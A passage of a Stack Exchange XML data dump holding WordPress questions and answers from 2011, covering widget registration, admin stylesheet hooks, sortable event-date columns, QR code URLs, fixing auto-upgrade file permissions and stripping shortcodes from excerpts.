unique, it's used a lot&#xA;'title' =&amp;gt; __('aaaFirst Widget'),   &#xA;'description' =&amp;gt; __('This is my description'),  &#xA;'classname' =&amp;gt; 'st-custom-wi',  &#xA;'show_view' =&amp;gt; 'path/to/my/widget_view_file.php',&#xA;'fields' =&amp;gt; array(&#xA;array(&#xA;    'name' =&amp;gt; 'Text box',&#xA;    'desc' =&amp;gt; 'Enter something here',&#xA;    'id' =&amp;gt; 'text',&#xA;    'type' =&amp;gt; 'text',&#xA;    'std' =&amp;gt; 'Default value 1'&#xA;),&#xA;array(&#xA;    'type' =&amp;gt; 'custom',&#xA;    'std' =&amp;gt; '&amp;lt;hr/&amp;gt;'&#xA;),&#xA;array(&#xA;    'name' =&amp;gt; 'Textarea',&#xA;    'desc' =&amp;gt; 'Enter big text here',&#xA;    'id' =&amp;gt; 'textarea',&#xA;    'type' =&amp;gt; 'textarea',&#xA;    'std' =&amp;gt; 'Default value 2'&#xA;&#xA;),&#xA;array(&#xA;    'name' =&amp;gt; 'Select box',&#xA;    'id' =&amp;gt; 'select',&#xA;    'type' =&amp;gt; 'select',&#xA;    'options' =&amp;gt; array('Option 1', 'Option 2', 'Option 3')&#xA;),&#xA;array(&#xA;    'name' =&amp;gt; 'Radio',&#xA;    'id' =&amp;gt; 'radio',&#xA;    'type' =&amp;gt; 'radio',&#xA;    'options' =&amp;gt; array(&#xA;    array('name' =&amp;gt; 'Name 1', 'value' =&amp;gt; 'Value 1'),&#xA;    array('name' =&amp;gt; 'Name 2', 'value' =&amp;gt; 'Value 2')&#xA;    )&#xA;),&#xA;array(&#xA;    'name' =&amp;gt; 'Checkbox',&#xA;    'id' =&amp;gt; 'checkbox',&#xA;    'type' =&amp;gt; 'checkbox'&#xA;),&#xA;&#xA;)&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Declare whatever fields that you want for your widget options with the array above and you're almost done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing that you need to do is paste your widgets html into your new file path/to/my/widget_view_file.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of this widget view file add this following code: &lt;code&gt;&amp;lt;?php extract($args[1]); ?&amp;gt;&lt;/code&gt; This will break out three variables for you to use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;$sidebar&lt;/li&gt;&#xA;&lt;li&gt;$widget&lt;/li&gt;&#xA;&lt;li&gt;$params&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3629" LastEditorUserId="3629" LastEditorDisplayName="" LastEditDate="2011-05-27T15:17:56.813" LastActivityDate="2011-05-27T15:17:56.813" />
  <row Id="18389" PostTypeId="2" ParentId="13090" CreationDate="2011-05-26T22:46:30.923" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at the global variable &lt;code&gt;global $wp_sidebars_widgets&lt;/code&gt; The indexes of this array are the positions that the widgets will display in.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T22:46:30.923" />
  <row Id="18390" PostTypeId="2" ParentId="18382" CreationDate="2011-05-26T23:06:07.287" Score="0" ViewCount="" Body="&lt;p&gt;In general, you can answer most of that questions just looking at the PSDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always put focus in asking the things that you cannot derive from the design. ie: Workflow for publishing content, if I'll need to migrate data from an old website, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much traffic (aprox) is the site&#xA;going to have?&lt;/li&gt;&#xA;&lt;li&gt;Do you already have a    hosting?&#xA;What technologies does the    server&#xA;support?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-27T15:24:01.007" LastActivityDate="2011-05-27T15:24:01.007" CommentCount="6" />
  <row Id="18392" PostTypeId="2" ParentId="18382" CreationDate="2011-05-26T23:30:00.830" Score="1" ViewCount="" Body="&lt;p&gt;I think some of your questions are too wide. You still cannot break down each answer in hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the questions I ask:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there widgets? Which?&lt;/li&gt;&#xA;&lt;li&gt;Which theme options are needed? Details? Colors, text fields, image uploads etc.&lt;/li&gt;&#xA;&lt;li&gt;Custom post types and taxonomies? Very, very detailed.&lt;/li&gt;&#xA;&lt;li&gt;How are the comments displayed? This one is missing on many PSD files. Do you need a custom walker?&lt;/li&gt;&#xA;&lt;li&gt;What should happen when the user has a minimum font size of 24px?&lt;/li&gt;&#xA;&lt;li&gt;What should happen when the user’s window is just 35em wide? I couldn’t find the pay button on Amazon once on my laptop because the designer had not thought so far …&lt;/li&gt;&#xA;&lt;li&gt;Which plugins do you have to integrate? Contact forms, social buttons, subscribe to comments etc.&lt;/li&gt;&#xA;&lt;li&gt;Functionality of nav menus: Icons, descriptions, embedded images?&lt;/li&gt;&#xA;&lt;li&gt;Is a slider needed? What should it do? How are the items added?&lt;/li&gt;&#xA;&lt;li&gt;Will the output for small devices be handled by a separate/child theme?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some things you don’t need to ask but &lt;em&gt;to know&lt;/em&gt; to estimate the time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many sprites do you have to build? &lt;/li&gt;&#xA;&lt;li&gt;How much support will the client need? When in doubt use 25% of the total time.&lt;/li&gt;&#xA;&lt;li&gt;Have you written your last code abstract enough to reuse it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Extra: Calculation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Break down each step in hours. Sum the hours up, then double them. If you are a beginner, triple the time. Then add the support time.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-26T23:30:00.830" CommentCount="1" />
  <row Id="18393" PostTypeId="2" ParentId="18368" CreationDate="2011-05-26T23:35:11.937" Score="1" ViewCount="" Body="&lt;p&gt;The best way is not to do this. Use a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-26T23:35:11.937" />
  <row Id="18394" PostTypeId="2" ParentId="18368" CreationDate="2011-05-26T23:38:01.580" Score="0" ViewCount="" Body="&lt;p&gt;I echo @toscho's suggestion. You can setup a taxonomy via your functions.php (use the reference he gave you) file or by using a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-taxonomy-manager/&quot; rel=&quot;nofollow&quot;&gt;Ultimate Taxonomy Manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom taxonomy will let you organize your posts as you'd like, without worry about interference with the standard post tags.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-05-26T23:38:01.580" />
  <row Id="18395" PostTypeId="2" ParentId="18382" CreationDate="2011-05-26T23:48:09.867" Score="0" ViewCount="" Body="&lt;p&gt;I usually won't quote without see the design. There are too many variables that could easily blow out an estimate in the design alone. I also like to questions like: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What should be configurable from the WordPress admin area?&lt;/li&gt;&#xA;&lt;li&gt;Are all colours and fonts variable or is it set from the beginning? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-26T23:48:09.867" />
  <row Id="18396" PostTypeId="1" CreationDate="2011-05-26T23:55:20.990" Score="0" ViewCount="58" Body="&lt;p&gt;I followed instruction on the wordpress codex site on creating an admin theme via a plugin. I activated the plugin, but my stylesheet isn't being included in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'kd_plugin_admin_init' );&#xA;add_action( 'admin_menu', 'kd_plugin_admin_menu' );&#xA;&#xA;function kd_plugin_admin_init() {&#xA;   /* Register our stylesheet. */&#xA;   wp_register_style( 'kdPluginStylesheet', WP_PLUGIN_URL . '/admin-theme.css' );&#xA;}&#xA;&#xA;function kd_plugin_admin_menu() {&#xA;   /* Register our plugin page */&#xA;   $page = add_submenu_page( 'edit.php', &#xA;                             __( 'KD Plugin', 'kdPlugin' ), &#xA;                             __( 'KD Plugin', 'kdPlugin' ),&#xA;                             'administrator',&#xA;                             __FILE__, &#xA;                             'kd_plugin_manage_menu' );&#xA;&#xA;   /* Using registered $page handle to hook stylesheet loading */&#xA;   add_action( 'admin_print_styles' . $page, 'kd_plugin_admin_styles' );&#xA;}&#xA;&#xA;function kd_plugin_admin_styles() {&#xA;   /*&#xA;    * It will be called only on your plugin admin page, enqueue our stylesheet here&#xA;    */&#xA;   wp_enqueue_style( 'kdPluginStylesheet' );&#xA;}&#xA;&#xA;function kd_plugin_manage_menu() {&#xA;   /* Output our admin page */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-27T00:06:56.237" LastActivityDate="2011-08-26T18:35:10.193" Title="Admin Theme customization" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;options&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18397" PostTypeId="2" ParentId="15800" CreationDate="2011-05-26T23:59:52.383" Score="0" ViewCount="" Body="&lt;p&gt;I know it's a late, but you can set the title to the postdate right before you create the post. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postarr['title'] = current_time('mysql');&#xA;$postarr['post_type'] = 'myposttype';&#xA;wp_insert_post($postarr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-05-26T23:59:52.383" />
  <row Id="18398" PostTypeId="2" ParentId="18303" CreationDate="2011-05-27T00:08:55.520" Score="1" ViewCount="" Body="&lt;p&gt;I believe MySQL date format should be YYYY-MM-DD. Also I think orderby should be meta_value_num, otherwise the values are treated as strings.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-27T00:08:55.520" CommentCount="2" />
  <row Id="18400" PostTypeId="2" ParentId="18303" CreationDate="2011-05-27T01:23:20.700" Score="0" ViewCount="" Body="&lt;p&gt;MySQL's date format preferences aside, there are a lot of good reasons to use bigendian formats like Y-m-d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would think that comparing dates would be obvious, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;05262011 &gt; 01012012&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on. You'll cause yourself lots of problems trying to use dmY format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think that 'date' is one of the accepted parameters for meta_query &quot;type&quot;. Leave that parameter out and use string comparison for best results.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-27T01:23:20.700" CommentCount="2" />
  <row Id="18401" PostTypeId="1" CreationDate="2011-05-27T01:51:30.327" Score="0" ViewCount="32" Body="&lt;p&gt;I'm using the QR Code Tag plugin and can't get this to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php &#xA;global $qrcodetag; &#xA;echo $qrcodetag-&amp;gt;getQrCodeUrl('$_SERVER['PHP_SELF']',100,'UTF-8','L',4,0); &#xA;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want a qr barcode to get the current url of the category or page or post in my theme.&lt;/p&gt;&#xA;" OwnerUserId="5724" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-27T02:03:37.363" LastActivityDate="2011-05-27T02:20:16.287" Title="Get Page URI for QR Code PHP" Tags="&lt;qr-code&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="18402" PostTypeId="1" AcceptedAnswerId="18408" CreationDate="2011-05-27T02:12:30.003" Score="2" ViewCount="523" Body="&lt;p&gt;Any ideas on this? I earlier got an error on some update directory, and manually deleted it (unfortunately I didn't write it down).  I think I've done auto-upgrades on the same domain before. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading update from http://wordpress.org/wordpress-3.1.3.zip…&#xA;&#xA;Unpacking the update…&#xA;&#xA;Warning: copy(/home/nwalters/public_html/wp-admin/includes/update-core.php) [function.copy]: failed to open stream: Permission denied in /home/myname/public_html/wp-admin/includes/class-wp-filesystem-direct.php on line 200&#xA;&#xA;Could not copy files.&#xA;&#xA;Installation Failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="2550" LastEditorDisplayName="" LastEditDate="2011-05-28T01:17:01.310" LastActivityDate="2011-06-07T18:52:48.690" Title="3.1.3 auto-upgrade" Tags="&lt;upgrade&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="18403" PostTypeId="2" ParentId="18401" CreationDate="2011-05-27T02:20:16.287" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; and add you domain before it so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php &#xA;global $qrcodetag; &#xA;$Path=$_SERVER['REQUEST_URI'];&#xA;$URI='http://www.example.com'.$Path;&#xA;echo $qrcodetag-&amp;gt;getQrCodeUrl($URI,100,'UTF-8','L',4,0); &#xA;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change &lt;code&gt;http://www.example.com&lt;/code&gt; to your domain.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-27T02:20:16.287" />
  <row Id="18404" PostTypeId="2" ParentId="18402" CreationDate="2011-05-27T02:21:37.713" Score="1" ViewCount="" Body="&lt;p&gt;It looks like you don't have permission. I would recommend doing a manual upgrade. Its a lot safer and you can always find the problem quicker. check out this link &lt;a href=&quot;http://wpmu.org/oops-i-broke-wordpress-how-to-fix-your-auto-update-problems/&quot; rel=&quot;nofollow&quot;&gt;http://wpmu.org/oops-i-broke-wordpress-how-to-fix-your-auto-update-problems/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-27T02:21:37.713" CommentCount="2" />
  <row Id="18405" PostTypeId="2" ParentId="17535" CreationDate="2011-05-27T02:30:02.003" Score="0" ViewCount="" Body="&lt;p&gt;Ok. So instead of pasting the code here ill just link to it since i do not feel like adding the code format to each line. This is most likely just temporary but will get what i need done. It is used with some of jquery scripting but should not need it. Feel free to edit as you wish and update this question with your re-writes&#xA;&lt;a href=&quot;http://pastebin.com/bWC7a1ej&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/bWC7a1ej&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-27T02:30:02.003" CommentCount="1" />
  <row Id="18406" PostTypeId="1" CreationDate="2011-05-27T02:30:17.153" Score="1" ViewCount="183" Body="&lt;p&gt;There are several questions in here about sorting custom items in the admin section.  However, I cannot find a specific answer anywhere.  Here's my specific problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using MagicFields to create several fields related to Events (each post is an &quot;event&quot; or concert). One of those fields is the event date.  I want to 1) display the event date in the admin Event write panel as a separate column and 2) automatically sort that column ascending.  So far, I've registered the column, displayed it, and have registered it as sortable.  Here's my code which is pasted in the functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register a new column in the admin Post area&#xA;function event_date_column_register( $columns ) {&#xA;$columns['event_date'] = __( 'Event Date', 'my-plugin' );&#xA;return $columns;&#xA;}&#xA;add_filter('manage_edit-post_columns', 'event_date_column_register');&#xA;&#xA;// Display the column content&#xA;function event_date_column_display( $column_name, $post_id ) {&#xA;if ( 'event_date' != $column_name )&#xA;    return;&#xA;&#xA;$event_date = get('date_of_event');&#xA;&#xA;echo $event_date;&#xA;}&#xA;add_action( 'manage_posts_custom_column', 'event_date_column_display', 10, 2 );&#xA;&#xA;&#xA;// Register the column as sortable&#xA;function event_date_column_register_sortable( $columns ) {&#xA;$columns['event_date'] = 'event_date';&#xA;&#xA;return $columns;&#xA;}&#xA;add_filter( 'manage_edit-post_sortable_columns', 'event_date_column_register_sortable' );&#xA;&#xA;&#xA;function event_date_column_orderby( $vars ) {&#xA;if ( isset( $vars['orderby'] ) &amp;amp;&amp;amp; 'event_date' == $vars['orderby'] ) {&#xA;    $vars = array_merge( $vars, array(&#xA;        'meta_key' =&amp;gt; 'event_date',&#xA;        'orderby' =&amp;gt; 'meta_value_num'&#xA;    ) );&#xA;}&#xA;&#xA;return $vars;&#xA;}&#xA;add_filter( 'request', 'event_date_column_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, &quot;Events&quot; appear in the post management area as shown below - but when I try to sort by that field, all of my posts disappear.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/1172519/Screenshots/5-26-2011%209-20-15%20PM.png&quot; rel=&quot;nofollow&quot;&gt;Image Here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I need to convert my date to the long unix time (&lt;code&gt;strtotime();&lt;/code&gt;) prior to sorting, but where and how?  According to the comment thread &lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html#comment-4728&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (search for &quot;works like a charm&quot;), you can write some long query, but I don't know if it's correct, where to past that query, or anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a newbie - so thanks in advance for the help and sorry if I'm not being thorough enough.&lt;/p&gt;&#xA;" OwnerUserId="5727" LastActivityDate="2011-07-02T02:45:25.047" Title="Sort admin area by custom Event Date field" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;sort&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="18407" PostTypeId="2" ParentId="18305" CreationDate="2011-05-27T04:22:47.180" Score="1" ViewCount="" Body="&lt;p&gt;Which versions of WPML and WordPress are you using? I'm sure that you noticed that the old versions of WPML from wp.org only run on old WordPress versions (up to 3.0.5).&lt;/p&gt;&#xA;" OwnerUserId="5729" LastActivityDate="2011-05-27T04:22:47.180" />
  <row Id="18408" PostTypeId="2" ParentId="18402" CreationDate="2011-05-27T05:13:27.490" Score="-1" ViewCount="" Body="&lt;p&gt;sounds like you need to think about a new host...  do I dare ask where you're hosted now? &#xA;But yes that's a permission issue.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2011-05-27T05:13:27.490" CommentCount="3" />
  <row Id="18409" PostTypeId="2" ParentId="18402" CreationDate="2011-05-27T05:19:03.117" Score="4" ViewCount="" Body="&lt;p&gt;Neal,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple fix is to change the user and group ownership of the files making them the same that PHP runs under.  With shared hosting (100's of accounts on the same server) a special mod is used to allow PHP to run as your user account. Most likely this is your situation. There are 2 simple fixes for this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following to your wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_CHMOD_DIR', (0755 &amp;amp; ~ umask()));&#xA;define('FS_CHMOD_FILE', (0644 &amp;amp; ~ umask()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow WordPress to override your hosts wrong permissions settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this doesn't work you can force WordPress to use FTP to do the upgrade by defining your ftp credentials in wp-config.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Add these lines to wp-config.php using your information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'ftpext');&#xA;define('FTP_BASE', '/path/to/wordpress/');&#xA;define('FTP_CONTENT_DIR', '/path/to/wordpress/wp-content/');&#xA;define('FTP_PLUGIN_DIR ', '/path/to/wordpress/wp-content/plugins/');&#xA;//define('FTP_PUBKEY', '/home/username/.ssh/id_rsa.pub');&#xA;//define('FTP_PRIKEY', '/home/username/.ssh/id_rsa');&#xA;define('FTP_USER', 'username');&#xA;define('FTP_PASS', 'password');&#xA;define('FTP_HOST', 'ftp.example.org');&#xA;define('FTP_SSL', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2 commented out lines would be used if you access your webhost with SSH and have an SSH private / public key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your on a private server or VPS PHP will most likely be running as either www-data or nobody.  To fix this you would just run &lt;code&gt;chown www-data:www-data /home/nwalters/public_html/ -R&lt;/code&gt; from the command line to repair the ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-27T05:19:03.117" CommentCount="3" />
  <row Id="18410" PostTypeId="2" ParentId="18406" CreationDate="2011-05-27T05:24:56.400" Score="2" ViewCount="" Body="&lt;p&gt;You need to change &lt;code&gt;orderby&lt;/code&gt; value to &lt;code&gt;meta_value&lt;/code&gt; in &lt;code&gt;event_date_column_orderby&lt;/code&gt;, also I am not sure about the &lt;code&gt;get('event_date')&lt;/code&gt; you are using, so I have replaced it in the code below to &lt;code&gt;get_post_meta&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just tested the code below and it sorts by dates just fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register a new column in the admin Post area&#xA;function event_date_column_register( $columns ) {&#xA;$columns['event_date'] = __( 'Event Date', 'my-plugin' );&#xA;return $columns;&#xA;}&#xA;add_filter('manage_edit-post_columns', 'event_date_column_register');&#xA;&#xA;// Display the column content&#xA;function event_date_column_display( $column_name, $post_id ) {&#xA;if ( 'event_date' != $column_name )&#xA;    return;&#xA;&#xA;$event_date = get_post_meta( $post_id, 'event_date', true );&#xA;echo $event_date;&#xA;}&#xA;add_action( 'manage_posts_custom_column', 'event_date_column_display', 10, 2 );&#xA;&#xA;&#xA;// Register the column as sortable&#xA;function event_date_column_register_sortable( $columns ) {&#xA;$columns['event_date'] = 'event_date';&#xA;&#xA;return $columns;&#xA;}&#xA;add_filter( 'manage_edit-post_sortable_columns', 'event_date_column_register_sortable' );&#xA;&#xA;&#xA;function event_date_column_orderby( $vars ) {&#xA;if ( isset( $vars['orderby'] ) &amp;amp;&amp;amp; 'event_date' == $vars['orderby'] ) {&#xA;    $vars = array_merge( $vars, array(&#xA;        'meta_key' =&amp;gt; 'event_date',&#xA;        'orderby' =&amp;gt; 'meta_value'&#xA;    ) );&#xA;}&#xA;&#xA;return $vars;&#xA;}&#xA;add_filter( 'request', 'event_date_column_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-27T05:24:56.400" />
  <row Id="18411" PostTypeId="2" ParentId="17639" CreationDate="2011-05-27T05:46:37.247" Score="0" ViewCount="" Body="&lt;p&gt;Try the code below. It will only add the filter to strip shortcodes when your &lt;code&gt;custom_excerpt&lt;/code&gt; function is called. The rest of your site will be unaffected. I am not sure how your &lt;code&gt;get_the_content&lt;/code&gt; function fetches the content. So this filter will also take care of it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_strip_jwplayer( $content ) {&#xA;    $content = strip_shortcodes( $content );&#xA;    return $content;&#xA;}&#xA;&#xA;function custom_excerpt($length, $more_text) { &#xA;global $post;     &#xA;&#xA;// add a custom filter&#xA;add_filter('the_content', 'my_strip_jwplayer', 10);&#xA;&#xA;&#xA;$text = get_the_content(); &#xA;$text = apply_filters('the_content', $text);  &#xA;$text = str_replace(']]&amp;gt;', ']]&amp;gt;', $text);  &#xA;$text = strip_tags($text, '&amp;lt;a&amp;gt;, &amp;lt;p&amp;gt;, &amp;lt;strong&amp;gt;, &amp;lt;em&amp;gt;, &amp;lt;b&amp;gt;');&#xA;&#xA;&#xA;if(!empty($length)){&#xA;    $excerpt_length = apply_filters('excerpt_length', $length); &#xA;} else {&#xA;    $excerpt_length = apply_filters('excerpt_length', 180); &#xA;}&#xA;&#xA;if(!empty($more_text)){&#xA;    $excerpt_more = apply_filters('excerpt_more', ' ' . '&amp;amp;hellip; &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;id).'&quot; class=&quot;more-link&quot;&amp;gt;'.$more_text.'&amp;lt;/a&amp;gt;');&#xA;} else { &#xA;    $excerpt_more = apply_filters('excerpt_more', ' ' . '&amp;amp;hellip;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;id).'&quot; class=&quot;more-link&quot;&amp;gt;+ more&amp;lt;/a&amp;gt;');&#xA;}&#xA;&#xA;$words = preg_split('/(&amp;lt;a.*?a&amp;gt;)|\n|\r|\t|\s/', $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE );  &#xA;if ( count($words) &amp;gt; $excerpt_length ) {  &#xA;    array_pop($words);  &#xA;    $text = implode(' ', $words);  &#xA;    $text = $text . $excerpt_more;  &#xA;} else {  &#xA;    $text = implode(' ', $words);  &#xA;}  &#xA;$output = '&amp;lt;p&amp;gt;'.$text.'&amp;lt;/p&amp;gt;';&#xA;echo $output;  &#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-27T05:46:37.247" />
  <row Id="18412" PostTypeId="1" AcceptedAnswerId="18420" CreationDate="2011-05-27T06:02:38.337" Score="2" ViewCount="106" Body="&lt;p&gt;I want to exclude posts from aside post-format in the feed. I have already checked up &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12726/help-altering-a-query-to-exclude-all-but-standard-post-format&quot;&gt;here&lt;/a&gt; about how to exclude posts from a certain post format from the loop but how to exclude posts from a post format in the feed? Couldn't modify it because I am not very good with the code.&lt;/p&gt;&#xA;" OwnerUserId="5730" LastActivityDate="2011-05-27T08:53:38.833" Title="How to exclude posts of a certain format from the feed" Tags="&lt;feed&gt;&lt;post-formats&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="18413" PostTypeId="2" ParentId="18396" CreationDate="2011-05-27T06:08:42.087" Score="0" ViewCount="" Body="&lt;p&gt;You are missing the hyphen in your admin_print_styles hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function kd_plugin_admin_menu() {&#xA;   /* Register our plugin page */&#xA;   $page = add_submenu_page( 'edit.php', &#xA;                             __( 'KD Plugin', 'kdPlugin' ), &#xA;                             __( 'KD Plugin', 'kdPlugin' ),&#xA;                             'administrator',&#xA;                             __FILE__, &#xA;                             'kd_plugin_manage_menu' );&#xA;&#xA;   /* Using registered $page handle to hook stylesheet loading */&#xA;   add_action( 'admin_print_styles-' . $page, 'kd_plugin_admin_styles' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-27T06:08:42.087" CommentCount="2" />
  <row Id="18414" PostTypeId="2" ParentId="17639" CreationDate="2011-05-27T06:10:28.963" Score="0" ViewCount="" Body="&lt;p&gt;Just going to take a shot in the dark here, but after looking at your code it seems like you might want to try to swap the order of the following 2 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = strip_shortcodes( $text );    &#xA;$text = apply_filters('the_content', $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I know, do_shortcode() is applied to the 'the_content' filter at 11. You are removing it and then adding it right back again. Doing this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = apply_filters('the_content', $text);    &#xA;$text = strip_shortcodes( $text );    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;may help.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-27T06:10:28.963" CommentCount="1" />
  <row Id="18416" PostTypeId="1" AcceptedAnswerId="18537" CreationDate="2011-05-27T07:07:09.443" Score="1" ViewCount="56" Body="&lt;p&gt;How can I update the URLs that &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dragtoshare-extended/&quot; rel=&quot;nofollow&quot;&gt;Drag-To-Share eXtended&lt;/a&gt; generates? At least in version 1.13, sharing items for Twitter and Facebook does not produce the proper url string for actually sharing the content on either network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook, Twitter, and possibly other networks have since changed the url query string methods for sharing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would require a quick update to the plugin so it writes up-to-date urls, but I don't know where to look.&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T05:30:20.297" LastActivityDate="2011-05-30T05:30:20.297" Title="Updating the Drag-To-Share eXtended share URLs?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;javascript&gt;&lt;facebook&gt;&lt;twitter&gt;" 